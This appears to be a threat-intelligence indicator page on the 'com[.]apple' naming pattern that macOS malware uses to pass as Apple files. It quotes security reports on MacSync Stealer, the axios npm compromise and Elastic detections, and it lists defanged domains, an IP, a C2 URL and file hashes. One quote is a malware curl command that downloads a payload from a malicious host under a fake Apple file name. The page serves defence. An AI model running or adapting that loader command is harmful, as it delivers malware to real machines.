com[.]appleDomain
Reported by 3 independent sources · first reported by Elastic Security Labs · last reported
Last reported 2 months ago
What the reports say
5 reports, newest first · the exact sentence from each-
Reverse Engineering the Six Stages of MacSync Stealer and RAT“curl -kfsSL 'hxxps://agenticsora.com/loader/agent/<token>' -o ~/.local/com[.]apple.<id>.hcpi”
-
macOS.Gaslight | Rust Backdoor Turns Prompt Injection on the Analyst, Not the Sandbox“Masquerading within Apple’s com[.]apple.* namespace is a tactic widely used in many macOS malware families, including those previously tied to DPRK-linked activities.”
-
Elastic releases detections for the Axios supply chain compromise“…via Invalid Code Signature and Suspicious URL as argument to Self-Signed Binary endpoint rules, as it mimics Apple naming conventions (com[.]apple.*) but does not match expected signing characteristics.”
-
Supply Chain Compromise of axios npm Package“The binary is saved to /Library/Caches/com.apple.act.mond — deliberately mimicking Apple's own com[.]apple.* naming convention to blend in.”
-
Sinking macOS Pirate Ships with Elastic Behavior Detections“In the below behavior rule, we look for files where the file name starts with com[.]apple… and the file path is a Library/LaunchAgent or Library/LaunchDaemon, and the responsible process is unsigned or untrusted.”
Indicators reported together
named in the same reports- sfrclak[.]comin 2 reports
- packages.npm[.]orgin 2 reports
- 142.11.206[.]73in 2 reports
- d6f3f62fd3b9f543…fd5247d5ee71in 2 reports
- 07d889e2dadce6f3…7d28ca61c766in 2 reports
- 92ff08773995ebc8…071230c9645ain 2 reports
- hxxp://sfrclak[.]com:8000/6202033in 2 reports
- 5555494492fc075f…4913dde3a2eain 1 report
- 6328567511d88fdc…4f12f4982525in 1 report
- 77b4fd46994992f0…f5c4536e77cain 1 report
- baabf249c77bc54c…b73ab8741239in 1 report
- e4503e31d5a297d9…75684f68e080in 1 report
Copy these 12 indicators · defanged
Thanks — we review every report.